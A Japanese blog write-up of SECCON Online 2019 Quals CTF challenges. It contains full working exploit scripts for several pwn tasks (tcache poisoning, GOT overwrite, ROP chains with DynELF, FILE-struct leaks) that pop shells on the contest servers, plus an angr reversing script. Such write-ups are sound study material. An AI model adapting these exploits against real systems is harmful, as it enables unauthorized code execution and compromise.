CTFするぞ

あたまよくないけどがんばります

SECCON Online 2019 QualsのWriteup

SECCON Online 2019 Qualificationが10月19日の15:00(JST)から24時間開催されました。 今年はNaruseJunで参加し、全体で5位でした。

f:id:ptr-yudai:20191020181230p:plain

1時間程度しか寝ていないので疲れましたが、オンサイトでわいわい解くのは楽しかったです。通したフラグは合計で1736点でした。 手伝った問題なども含めて関与した問題について書きます。

問題とソルバはここに置きます。

[misc 110pts] Beeeeeeeeeer

なんかbase64 decodeするとopensslでaes-256-cbcで復号してる箇所があったのですが、鍵がhex4文字だったので総当りして解読しました。 すると難読化シェルスクリプトが出てきたのですが、この時pwnが出題されたのでチームメンバーに任せたら解いてくれました。

[pwn 264pts] one

libc-2.27と64-bit ELFが渡されます。

$ checksec -f one
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   82 Symbols     Yes      0               4       one

double freeやUAF(read)がありますが、mallocできるサイズは0x40で固定です。 libc leakが無いことには始まらないので、まずはunsorted binに入るサイズのチャンクをfreeしてshowすることでlibc baseを手に入れます。 ただ、ポインタは1つしか用意されていないため、今回はtcache領域を書き換える方針にしました。 まずは同じチャンクを2回以上freeすることでfdにヒープのアドレスを入れ、ヒープのアドレスをleakします。 大きなチャンクをfreeする際はサイズチェックが入るので、たくさんチャンクを確保して偽のサイズを用意しておきます。 サイズが固定なので、今回はtcacheの管理領域を破壊することにしました。 countやfdに注意すると適切な場所に大きなサイズのチャンクを用意でき、それをfreeすればlibcのアドレスが手に入ります。 あとはtcache poisoningで__free_hooksystemに書き換えればOKです。

from ptrlib import *

def add(data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", data)
    return
def show():
    sock.sendlineafter("> ", "2")
    return sock.recvline()
def delete():
    sock.sendlineafter("> ", "3")
    return

libc = ELF("./libc-2.27.so")
#sock = Process("./one")
sock = Socket("one.chal.seccon.jp", 18357)

# leak heap
add('A')
delete()
delete()
delete()
addr_heap = u64(show())
logger.info("heap = " + hex(addr_heap))

# tamper size
add(p64(addr_heap - 0x10))
add('dummy')
add(p64(addr_heap) + p64(0xdeadbeef))

# tamper tcache
for i in range(0x11):
    add(((p64(0) + p64(0x21)) * 3)[:-1])
add('A')
delete()
delete()
delete()
delete()
delete()
add(p64(addr_heap - 0x10))
add('A' * 8)
add(p64(0) + p64(0x421) + p64(addr_heap + 0x50))
add('A' * 8)
delete()
libc_base = u64(show()) - 0x3ebc40 - 96
logger.info("libc base = " + hex(libc_base))

# tcache poisoning
add('A')
delete()
delete()
add(p64(libc_base + libc.symbol("__free_hook")))
add('dummy')
add(p64(libc_base + libc.symbol("system")))
add("/bin/sh")
delete()

sock.interactive()

ほい。

$ python solve.py 
[+] __init__: Successfully connected to one.chal.seccon.jp:18357
[+] <module>: heap = 0x562d6e045270
[+] <module>: libc base = 0x7fd65ed40000
[ptrlib]$ cat flag.txt
SECCON{4r3_y0u_u53d_70_7c4ch3?}
[ptrlib]$

[pwn 289pts] Sum

libc-2.27と64-bit ELFが渡されます。

$ checksec -f sum
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     Yes      0               2       sum

RELROやPIEは無効です。 総和を求めてくれるプログラムですが、sumのポインタを上書きできるので、任意アドレスに入力した値の総和を入れられます。 とりあえずexitをmainにしたのですが、その後相当悩みました。 どうやら入力する値の最初の方をROP chainとして使えるようなのですが、全然気付きませんでした。 setvbufの第一引数にstdin/stdoutが渡されますが、setvbufをputsに変えても0xfbad1883が出力されるだけです。 ところが、dynのstdoutはsetvbufでしか使われていないので下位1バイトを破壊してもsetvbufを呼ばない限り怒られません。(この辺はkriwさんといけるんじゃね?的な話をして実現しました。) stdoutを0x10バイトずらすと(setvbufでNULLが設定されているので)libcのアドレスがリークできます。 こうして平和にone gadgetを呼び出してシェルが取れました。

from ptrlib import *
from time import sleep

def overwrite(target, value):
    sock.recvuntil("0\n")
    sock.sendline(str(-target))
    sock.sendline(str(2))
    sock.sendline(str(-1))
    sock.sendline(str(-1))
    sock.sendline(str(value))
    sock.sendline(str(target))
    return

elf = ELF("./sum")
libc = ELF("./libc.so")
#sock = Process("./sum")
sock = Socket("sum.chal.seccon.jp", 10001)
libc_one_gadget = 0x10a38c

# libc leak
overwrite(elf.got("exit"), elf.symbol("main"))
overwrite(elf.got("__stack_chk_fail"), elf.symbol("main"))
overwrite(elf.got("setvbuf"), elf.plt("puts"))
overwrite(0x601060 - 7, 0x7000000000000000)
overwrite(elf.got("exit"), elf.symbol("_start"))
libc_base = u64(sock.recvline()) - libc.symbol("_IO_2_1_stdout_") - 131
logger.info("libc base = " + hex(libc_base))

# one gadget!
overwrite(elf.got("exit"), libc_base + libc_one_gadget)

sock.interactive()

いぇい。

$ ptytho^C
ptr@medium-pwn:~/seccon/sum$ python solve.py 
[+] __init__: Successfully connected to sum.chal.seccon.jp:10001
[+] <module>: libc base = 0x7f49a2f4a000
[ptrlib]$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
[ptrlib]$

[pwn 332pts] lazy

バイナリは渡されませんが、繋ぐと部分的にソースコードが見られます。

$ nc lazy.chal.seccon.jp 33333
1: Public contents
2: Login
3: Exit
1
Welcome to public directory
You can download contents in this directory
diary_4.txt
diary_3.txt
diary_1.txt
login_source.c
diary_2.txt
login_source.c
./login_source.c
Sending 1201 bytes#define BUFFER_LENGTH 32
#define PASSWORD "XXXXXXXXXX"
#define USERNAME "XXXXXXXX"

int login(void){
......[省略]
}

void input(char *buf){
.....[省略]
}

普通にバッファオーバーフローがあるのですが、とりあえずユーザー名とパスワード当てたらフラグが貰えるかなーと思ってバッファオーバーリードでユーザー名とパスワードをリークしました。 すると、オプションにManageが現れてバイナリをダウンロードできるようになります。「.」が付いていたらダウンロードできないのでlibc.so.6はダウンロードできません。 とりあえずlazyをダウンロードするとCanary付きPIE無効なバイナリでした。 普通に考えたらBOFで終わりですが、libcのバージョンがdbに存在しない独自ビルドでした。

そこでlibcをリークしようとしたのですが、接続が途中で切れて最後まで落とせません。 仕方なくret2libcしようとしたりlisting機能を使ってflagのパスを調べたりしましたが、前者は.rel.pltが無くて詰み、降車は用意されたcatを使わないとflagが読めない謎仕様だったのでダメでした。 2時間ほど詰まって私もキれていたのですが、最終的にDynELFで一瞬で解けました。

from pwn import *

def login_user(username):
    sock.sendlineafter("Exit\n", "2")
    sock.sendlineafter(": ", username)
    sock.recvuntil(", ")
    sock.recvline()
    output = sock.recvline()
    return output
def login_pass(password):
    sock.sendlineafter(": ", password)
    return
def leak(address):
    username = b'A' * (0x5f + 0x58)
    login_user(username)
    password  = b'3XPL01717'
    password += b'A' * (0x20 - len(password))
    password += b'_H4CK3R_'
    password += b'A' * (0x40 - len(password))
    password += b'3XPL01717'
    password += b'A' * (0x60 - len(password))
    password += b'_H4CK3R_'
    password += b'A' * (0x80 - len(password))
    password += p64(0xdeadbeef)
    password += p64(rop_popper)
    password += p64(0)
    password += p64(0)
    password += p64(1)
    password += p64(elf.got["write"])
    password += p64(0x80)
    password += p64(address)
    password += p64(1)
    password += p64(rop_csu_init)
    password += p64(0) * 7
    password += p64(elf.symbols["_start"])
    login_pass(password)
    return sock.recv(0x80)

elf = ELF("../lazy")
#sock = process("../lazy")
sock = remote("lazy.chal.seccon.jp", 33333)

rop_pop_rdi = 0x004015f3
rop_pop_rsi_r15 = 0x004015f1
rop_popper = 0x4015e6
rop_csu_init = 0x4015d0

d = DynELF(leak, elf=elf)
addr_system = d.lookup('system', 'libc')
print("system = " + hex(addr_system))

# get the shell!
username = b'A' * (0x5f + 0x58)
login_user(username)
password  = b'3XPL01717'
password += b'A' * (0x20 - len(password))
password += b'_H4CK3R_'
password += b'A' * (0x40 - len(password))
password += b'3XPL01717'
password += b'A' * (0x60 - len(password))
password += b'_H4CK3R_'
password += b'A' * (0x80 - len(password))
password += p64(0xdeadbeef)
password += p64(rop_popper)
password += p64(0)
password += p64(0)
password += p64(1)
password += p64(elf.got["read"])
password += p64(0x8)
password += p64(0x602400)
password += p64(0)
password += p64(rop_csu_init)
password += p64(0) * 7
password += p64(rop_pop_rdi + 1) # ret
password += p64(rop_pop_rdi)
password += p64(0x602400)
password += p64(addr_system)
login_pass(password)
sock.send("/bin/sh\x00")

sock.interactive()

DynELFは有能だったり無能だったりするけど今回は最高に便利でした。

$ python solve.py 
[*] '/home/ptr/seccon/lazy/lazy'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[+] Loading from '/home/ptr/seccon/lazy/lazy': 0x7fe53d46f170
[+] Resolving 'system' in 'libc.so': 0x7fe53d46f170
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] Magic did not match
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7fe53d244c00
[*] Found DT_STRTAB at 0x7fe53d244c10
[*] Found DT_SYMTAB at 0x7fe53d244c20
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
system = 0x7fe53cee9570
[*] Switching to interactive mode
$ ls
810a0afb2c69f8864ee65f0bdca999d7_FLAG
cat
lazy
ld.so
libc.so.6
q
run.sh
$ ./cat 810a0afb2c69f8864ee65f0bdca999d7_FLAG
SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!}
$

これをやらせたいのならBOFだけでいいと思いますし、最初の方のログインとかディレクトリリスティングとかミスリーディングな要素が多かったのは気に入りませんでした。 (まぁ某web問に比べれば良問ですけどね。)

[pwn 418pts] remain

libc-2.30と64-bit ELFが渡されます。 2.30が出題されたのは観測した限りたぶん初めてだと思います。 double freeとUAF(write)があります。show系の機能はないので_IO_2_1_stdout_を使う系問題ですね。 最大10個しかチャンクを確保できず、freeしても残るので資源を有効活用する必要があります。 最後に1回malloc + read + free + exitができるので、正確には11回使えます。 ホワイトボードでヒープの様子を描いていたら丁度10回でシェルが取れる順番になったので愚直に実装しました。 私のコードは16ビット分のguessが必要です。

from ptrlib import *

flag = False
def exploit():
    global flag
    if flag: return
    """
    sock = Process([
        "./ld-linux-x86-64.so.2",
        "--library-path", "./",
        "./remain_694c2020e3831ebd83b8152600c071af047bdfe4"
    ])
    """
    sock = Socket("remain.chal.seccon.jp", 27384)
    #"""

    def add(data):
        sock.sendlineafter("> ", "1")
        sock.sendafter("> ", data)
        return
    def edit(index, data):
        sock.sendlineafter("> ", "2")
        sock.sendlineafter("> ", str(index))
        sock.sendafter("> ", data)
        return
    def delete(index):
        sock.sendlineafter("> ", "3")
        sock.sendlineafter("> ", str(index))
        return

    # libc leak
    add("A" * 0x47) # 0
    add("A" * 0x47) # 1
    add("A" * 0x47) # 2
    delete(1)
    delete(2)
    edit(2, b'\x90')
    add("A" * 0x47)          # 3 == 2
    add(b"A" * 8 + p64(0x581)) # 4
    delete(3)
    delete(1)
    edit(1, b'\xa0\xf0')
    add("A" * 0x47) # 5 == 3 == 2
    add(b"A" * 8 + b'\x10\xff') # 6
    delete(5)
    edit(6, b"A" * 8 + b'\x10\xf8')
    add((p64(0) + p64(0x21)) * 4) # 7
    delete(2)
    delete(1)
    delete(0)
    try:
        edit(4, b"A" * 8 + b'\x51\x00')
    except AttributeError:
        sock.close()
        return
    except:
        exit()
    edit(0, b'\xa0\xe6')
    edit(6, b"A" * 8 + b'\xa0\xf2')
    add("A" * 0x47) # 8
    fake_IO  = p64(0xfbad1800)
    fake_IO += p64(0) * 3
    fake_IO += b'\x08'
    add(fake_IO) # 9
    libc_base = u64(sock.recv(8)) - libc.symbol("_IO_2_1_stdin_")
    print(hex(libc_base))
    if libc_base < 0x7f0000000000:
        sock.close()
        return
    logger.info("libc base = " + hex(libc_base))
    flag = True
    delete(0)

    # overwrite __free_hook
    edit(6, b"A" * 8 + p64(libc_base + libc.symbol("__free_hook") - 8)[:6])
    add(b"/bin/sh\x00" + p64(libc_base + libc.symbol("system")))

    sock.sendline("ls")
    sock.sendline("cat flag.txt")

    sock.interactive()

import threading
import time
libc = ELF("./libc.so.6")
while not flag:
    th = threading.Thread(target=exploit, args=())
    th.start()
    time.sleep(0.1)

この問題は特に詰まることなく解けました。

$ python solve.py
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
...
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384
0x7f1b2dcd8000
[+] exploit: libc base = 0x7f1b2dcd8000
[+] __init__: Successfully connected to remain.chal.seccon.jp:27384

[ptrlib]$ memo is full!flag.txt
ld.so
libc.so.6
remain
run.sh
SECCON{y0u_4r3_m4573r_0f_7h3_n3w357_7c4ch3!!}

[pwn 444pts] Monoid Operator

この問題は基本的にkriwさんが解いてくれました。 mulでオーバーフローしたらstderrを使った後にfreeするのでlibc baseのリークは簡単ですが、シェルを取る方法に悩みました。 終了前にnが使えないFSBがあるのですが、そこでcanaryをbypassする方法をひたすら考えました。 私は早々にリタイアしてremainを始めたのですが、remainを解いている途中にkriwさんが「libcのアドレス分かってるからTLSのcanary取れるくね?」と提案し、その方向で解いてくれました。 canaryだからstackのアドレスをどうやって取るかに囚われてTLSの存在を忘れていました。不覚。

[rev 383pts] 7w1n5

ELFバイナリが2つ渡されます。 点数が低い割にかなり後半まで誰も触れていなかったのでremainを解いた後にやりました。 データを復号するっぽい関数arc4が多用されており、かといって読むのも面倒なのでangrにやらせました。 yoshi-campふるつきに教えてもらったangrテクニックをふんだんに使ってarc4の復号結果を取得したり、envchkの戻り値を書き換えたりしたらBrother1にフラグの前半が出てきました。

import angr
import claripy
from logging import getLogger, WARN

getLogger("angr").setLevel(WARN + 1)

p = angr.Project("./Brother1",
                 load_options={"auto_load_libs": False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

p.hook_symbol("__libc_start_main", angr.SIM_PROCEDURES["glibc"]["__libc_start_main"]())
p.hook_symbol("printf", angr.procedures.libc.printf.printf())
p.hook_symbol("strlen", angr.procedures.libc.strlen.strlen())
p.hook_symbol("__isoc99_sscanf", angr.procedures.libc.scanf.scanf())
p.hook_symbol("sprintf", angr.procedures.libc.sprintf.sprintf())
p.hook_symbol("memcmp", angr.procedures.libc.memcmp.memcmp())
p.hook_symbol("memset", angr.procedures.libc.memset.memset())
p.hook_symbol("calloc", angr.procedures.libc.calloc.calloc())
p.hook_symbol("stat", angr.procedures.linux_kernel.stat.stat())
p.hook_symbol("read", angr.procedures.posix.read.read())
p.hook_symbol("write", angr.procedures.posix.write.write())

@p.hook(0x4011ef, length=0)
def hook_arc4(state):
    data = state.memory.load(state.regs.rdi, state.regs.rsi)
    print(state.solver.eval(data, cast_to=bytes))
    return
class hook_chkenv(angr.SimProcedure):
    def run(self, arg1):
        return claripy.BVV(1, 32)
p.hook_symbol("chkenv", hook_chkenv())

simgr.explore(find=0x40185e, avoid=0x4018bd)
$ python solve.py
ERROR   | 2019-10-20 18:06:32,313 | angr.project | Could not find symbol printf
b'has expired!\nPlease contact your provider\x00'
b'\x00'
b'/bin/bash\x00'
b'-c\x00'
b'exec \'%s\' "$@"\x00'
b'\x00'
b'location has changed!\x00'
b'location has changed!\x00'
b'abnormal behavior!\x00'
b'\x01'
b'\x00'
b'#!/bin/bash\necho "Let\'s start analysis! :)"\nps -a|grep -v grep|grep -e gdb -e " r2" -q && echo "No no no no no" && exit 1\necho Close! So close! >/dev/null\nfor I in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15\ndo\n  date +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSECCON{Which_do_yo|tr A-Za-z N-ZA-Mn-za-m >/dev/null & # base64\xe3\x81\xab\xe3\x81\xaa\xe3\x81\xa3\xe3\x81\xa6\xe3\x81\x84\xe3\x82\x8b\ndone\necho Close! So close! >/dev/null\n\x00'
b'shell has changed!\x00'
b'shell has changed!\x00'

後半も同じスクリプトで呼び出すバイナリをBrother2に変えたら出てきました。

感想

  • 相談できるpwnerがいるのはやはり心強いです。多少難しくてもさくさく進む。
  • random pitballの謎命令は知らなかったので、解けなかったですが勉強になりました。
  • 面白い問題が多かったです。と同時に年々難しくなっている気がします。
  • exeのweb問は評判悪いから変えた方が良いのでは?
  • オンサイトで集まってやるとやる気も出るし楽しい。

運営および参加者の方々、お疲れ様でした。